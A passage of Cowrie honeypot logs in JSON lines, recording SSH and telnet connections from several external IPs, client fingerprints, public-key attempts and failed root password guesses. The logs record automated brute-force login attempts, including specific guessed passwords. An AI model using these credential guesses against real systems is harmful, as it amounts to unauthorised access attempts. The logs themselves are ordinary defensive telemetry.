-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:29:32.195862Z","src_ip":"103.149.170.125","session":"bdbdab1efb25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vaz2115","message":"login attempt [root/vaz2115] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:29:32.999990Z","src_ip":"103.149.170.125","session":"bdbdab1efb25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:29:34.273147Z","src_ip":"103.149.170.125","session":"bdbdab1efb25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.153.246.240","src_port":25556,"dst_ip":"10.17.0.5","dst_port":22,"session":"31d0883f38d4","protocol":"ssh","message":"New connection: 82.153.246.240:25556 (10.17.0.5:22) [session: 31d0883f38d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:29:37.021393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:29:37.025517Z","src_ip":"82.153.246.240","session":"31d0883f38d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:29:37.108315Z","src_ip":"82.153.246.240","session":"31d0883f38d4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:25:1c:1d:6d:20:5c:a7:c7:8a:ed:13:8f:2e:87:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChkD05bzVzzKYGZz6zpWDkj8gWh7bHlwXOrLNp9TVvi7DDC3GEc66nTSIv/Y0RIg1C/FRbQMXp6sxJnYf7OnZjtLumkW5neHOEkOQjF6SWSpWqKsiPV7cBPsCZ8xvQjKTQGLKamxU/T8EjqPXW/bZwPNaBKvNDUggT80LIh20ouQSr5qtGiyPeq7v9mzDYq8r1ApKmQBN1bCTAi4oJpnV89t4X4rXNqZvqOdO9OLiJVMOBPKjNRdAL59E+2ZdwseOjlPUEB2PjZnoNKjQ1NmQFzwkUTiHnkBAlXPpQPDmIztYMMUbuw3qUDoMVqxS/csSMK2vj8wOHVYQ2qw3rMWTl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 53:25:1c:1d:6d:20:5c:a7:c7:8a:ed:13:8f:2e:87:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:29:37.491870Z","src_ip":"82.153.246.240","session":"31d0883f38d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:25:1c:1d:6d:20:5c:a7:c7:8a:ed:13:8f:2e:87:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChkD05bzVzzKYGZz6zpWDkj8gWh7bHlwXOrLNp9TVvi7DDC3GEc66nTSIv/Y0RIg1C/FRbQMXp6sxJnYf7OnZjtLumkW5neHOEkOQjF6SWSpWqKsiPV7cBPsCZ8xvQjKTQGLKamxU/T8EjqPXW/bZwPNaBKvNDUggT80LIh20ouQSr5qtGiyPeq7v9mzDYq8r1ApKmQBN1bCTAi4oJpnV89t4X4rXNqZvqOdO9OLiJVMOBPKjNRdAL59E+2ZdwseOjlPUEB2PjZnoNKjQ1NmQFzwkUTiHnkBAlXPpQPDmIztYMMUbuw3qUDoMVqxS/csSMK2vj8wOHVYQ2qw3rMWTl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:29:37.495748Z","src_ip":"82.153.246.240","session":"31d0883f38d4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"95:12:53:0e:98:fb:83:b1:1b:aa:c0:9f:9d:46:fa:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2ZBJB27SctFIGkqCQgvLydFVQW5OIsK04CbgEX72i5vYir8L4oMJsG4xCER4KLOFDmU5YMgsJerTZ3Mcxi3VdCabeyHbirk59AIJp9Pi63ArD9eLSHN/4ekdQvAuHltE1uK0mgN+fljMowpksDwxpDCx9j4MhpxUl7/WMo9CrF3/1JfHfpBA6R7ii98jK82v5h2arc7SuueAuTsVo4WTOKnTTiRXeZPIsU4L3MZdxGQ0LCLL7BEHs0PPLkvy8uzuFv4UUT7v0iIlbDAH/5kuCHfP910V2KieG4Kyk0Vx41GChCkrXZy/bSnceai+jYamXTayikOfFcQF5Usz+Sfh+w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 95:12:53:0e:98:fb:83:b1:1b:aa:c0:9f:9d:46:fa:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:29:37.581306Z","src_ip":"82.153.246.240","session":"31d0883f38d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"95:12:53:0e:98:fb:83:b1:1b:aa:c0:9f:9d:46:fa:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2ZBJB27SctFIGkqCQgvLydFVQW5OIsK04CbgEX72i5vYir8L4oMJsG4xCER4KLOFDmU5YMgsJerTZ3Mcxi3VdCabeyHbirk59AIJp9Pi63ArD9eLSHN/4ekdQvAuHltE1uK0mgN+fljMowpksDwxpDCx9j4MhpxUl7/WMo9CrF3/1JfHfpBA6R7ii98jK82v5h2arc7SuueAuTsVo4WTOKnTTiRXeZPIsU4L3MZdxGQ0LCLL7BEHs0PPLkvy8uzuFv4UUT7v0iIlbDAH/5kuCHfP910V2KieG4Kyk0Vx41GChCkrXZy/bSnceai+jYamXTayikOfFcQF5Usz+Sfh+w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:29:37.585457Z","src_ip":"82.153.246.240","session":"31d0883f38d4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a9:13:c0:d4:a6:c7:17:7e:42:59:07:b4:1b:43:fe:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuMlIXPEQEzdcpX9AQM+e/o2rjTeAO8PMnAuZp59DB44T9+CVD4f5MrCROHb6iC62UzIXSiMt3IEO4okXSrswdQSBx0OkgssZeociHRG3n8BDzEA/xSnTjvlzp9UuDsa/2jupdviRVgbpw9CT2VHL2H1+r9A9bkM2/8JAIstf9K/NTLrHl3M91AS1BOIxzWpwTMfaq0y3LD5IJJTnp630Ckl8GB1y4lVBGy3iLNn6KGbTG8FkPr7Z1ubfU01WUo7z7QhzjcU1aEc5kTUjbAVqUeLsOKyr+1jMSsa9Q8yjw98KU2Y9P93QuraEgxiQbNIeetrFWo+exeVj9/IftXTmgw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a9:13:c0:d4:a6:c7:17:7e:42:59:07:b4:1b:43:fe:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:29:37.667421Z","src_ip":"82.153.246.240","session":"31d0883f38d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a9:13:c0:d4:a6:c7:17:7e:42:59:07:b4:1b:43:fe:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuMlIXPEQEzdcpX9AQM+e/o2rjTeAO8PMnAuZp59DB44T9+CVD4f5MrCROHb6iC62UzIXSiMt3IEO4okXSrswdQSBx0OkgssZeociHRG3n8BDzEA/xSnTjvlzp9UuDsa/2jupdviRVgbpw9CT2VHL2H1+r9A9bkM2/8JAIstf9K/NTLrHl3M91AS1BOIxzWpwTMfaq0y3LD5IJJTnp630Ckl8GB1y4lVBGy3iLNn6KGbTG8FkPr7Z1ubfU01WUo7z7QhzjcU1aEc5kTUjbAVqUeLsOKyr+1jMSsa9Q8yjw98KU2Y9P93QuraEgxiQbNIeetrFWo+exeVj9/IftXTmgw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:29:37.671521Z","src_ip":"82.153.246.240","session":"31d0883f38d4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:26:4c:ec:ed:18:4e:10:8c:60:f1:e7:ff:94:6a:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9AJMMC6Yz1LRB03+r98EP4mlEYvHuIofX6H6TaPJ8kcKuUSAmh4uuf2oaGQeYEyIgMfefSh4qcWs8t6lBNbXOcN1zHwJF0w5g/Md8HkQZNae8h8aLadAwyk5WlfiKU2nOMMjz66SPHQQMQ1C4v0OaDPT5ajD76IAwcuN0gujMF6yEMhecPLjOzMaBUijqhigo8h0Aknnh3ZQ8qt0Ma6m6aGQRGtsLWX/7416aXfLxCz1JGE3ZWG0v1To+Qa4pfojuqSCVFdCevst+tlKbuERlmXMrVtohAATgLsjLSvIdRnPe96cSqtcA+8S4O3nphlvQdaOZgDqaTQ6e4vrBxJrX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a4:26:4c:ec:ed:18:4e:10:8c:60:f1:e7:ff:94:6a:15","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:29:37.753448Z","src_ip":"82.153.246.240","session":"31d0883f38d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:26:4c:ec:ed:18:4e:10:8c:60:f1:e7:ff:94:6a:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9AJMMC6Yz1LRB03+r98EP4mlEYvHuIofX6H6TaPJ8kcKuUSAmh4uuf2oaGQeYEyIgMfefSh4qcWs8t6lBNbXOcN1zHwJF0w5g/Md8HkQZNae8h8aLadAwyk5WlfiKU2nOMMjz66SPHQQMQ1C4v0OaDPT5ajD76IAwcuN0gujMF6yEMhecPLjOzMaBUijqhigo8h0Aknnh3ZQ8qt0Ma6m6aGQRGtsLWX/7416aXfLxCz1JGE3ZWG0v1To+Qa4pfojuqSCVFdCevst+tlKbuERlmXMrVtohAATgLsjLSvIdRnPe96cSqtcA+8S4O3nphlvQdaOZgDqaTQ6e4vrBxJrX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:29:37.757487Z","src_ip":"82.153.246.240","session":"31d0883f38d4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"01:42:7f:b8:ff:9c:55:4f:80:b5:1d:5d:1c:84:6d:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSmTXSUyBbG/govor8BIdXatJnvpZaCVao7esDz8f55h3xlDXEOrov0NDBBX4MqbPRPp64XWTGbrWPkf/cbY1W5jbFlHHNJz/n2dXuqaNubLxtx2UkYP1fRyJpRGXOuHRVWXNXvegxTtDqRWeqNMGLZCB1S8iduNs4AAWAww1q+iJt0cWXGKWCXJfavYU1w+8986MsvglgbsGSGsQ1a5u9VmyUJtX6VPwHb9DwbMBSn/Ptyh3lTLnRyimhyYfX6ZKLt4vCU9fSV1NUtVj5nmr8ff09ZAH38xJK7tG3MmLiMts0Ps5EOpnm6jB1BRK64RP4D3Qkr5snTQvtIVL/NfJj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 01:42:7f:b8:ff:9c:55:4f:80:b5:1d:5d:1c:84:6d:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:29:37.839059Z","src_ip":"82.153.246.240","session":"31d0883f38d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"01:42:7f:b8:ff:9c:55:4f:80:b5:1d:5d:1c:84:6d:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSmTXSUyBbG/govor8BIdXatJnvpZaCVao7esDz8f55h3xlDXEOrov0NDBBX4MqbPRPp64XWTGbrWPkf/cbY1W5jbFlHHNJz/n2dXuqaNubLxtx2UkYP1fRyJpRGXOuHRVWXNXvegxTtDqRWeqNMGLZCB1S8iduNs4AAWAww1q+iJt0cWXGKWCXJfavYU1w+8986MsvglgbsGSGsQ1a5u9VmyUJtX6VPwHb9DwbMBSn/Ptyh3lTLnRyimhyYfX6ZKLt4vCU9fSV1NUtVj5nmr8ff09ZAH38xJK7tG3MmLiMts0Ps5EOpnm6jB1BRK64RP4D3Qkr5snTQvtIVL/NfJj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:29:37.845275Z","src_ip":"82.153.246.240","session":"31d0883f38d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:29:37.927092Z","src_ip":"82.153.246.240","session":"31d0883f38d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.054975748062134,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:29:52.221564Z","src_ip":"69.4.83.194","session":"16fcb02558c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":49898,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7f5a79761f3","protocol":"ssh","message":"New connection: 89.108.118.91:49898 (159.203.135.109:22) [session: c7f5a79761f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:29:52.599896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:29:52.604739Z","src_ip":"89.108.118.91","session":"c7f5a79761f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:29:52.740806Z","src_ip":"89.108.118.91","session":"c7f5a79761f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ser12345","message":"login attempt [root/ser12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:29:53.147548Z","src_ip":"89.108.118.91","session":"c7f5a79761f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:29:54.285472Z","src_ip":"89.108.118.91","session":"c7f5a79761f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":56582,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0d358be7914","protocol":"ssh","message":"New connection: 94.159.98.239:56582 (10.17.0.5:22) [session: c0d358be7914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:30:06.510109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:30:06.533025Z","src_ip":"94.159.98.239","session":"c0d358be7914","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:30:06.648051Z","src_ip":"94.159.98.239","session":"c0d358be7914","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwsazx","message":"login attempt [root/qwsazx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:30:07.173951Z","src_ip":"94.159.98.239","session":"c0d358be7914","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:30:08.345802Z","src_ip":"94.159.98.239","session":"c0d358be7914","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":60010,"dst_ip":"159.203.135.109","dst_port":22,"session":"fefdc88cec8a","protocol":"ssh","message":"New connection: 109.172.54.111:60010 (159.203.135.109:22) [session: fefdc88cec8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:30:22.071605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:30:22.086917Z","src_ip":"109.172.54.111","session":"fefdc88cec8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:30:22.174745Z","src_ip":"109.172.54.111","session":"fefdc88cec8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"150788","message":"login attempt [root/150788] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:30:22.563925Z","src_ip":"109.172.54.111","session":"fefdc88cec8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:30:23.668306Z","src_ip":"109.172.54.111","session":"fefdc88cec8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":46906,"dst_ip":"159.203.135.109","dst_port":23,"session":"581bfd4535be","protocol":"telnet","message":"New connection: 69.4.83.194:46906 (159.203.135.109:23) [session: 581bfd4535be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:30:47.345102Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":56430,"dst_ip":"159.203.135.109","dst_port":22,"session":"39609ad99755","protocol":"ssh","message":"New connection: 46.19.67.181:56430 (159.203.135.109:22) [session: 39609ad99755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:31:11.207182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:31:11.211920Z","src_ip":"46.19.67.181","session":"39609ad99755","protocol":"ssh"}
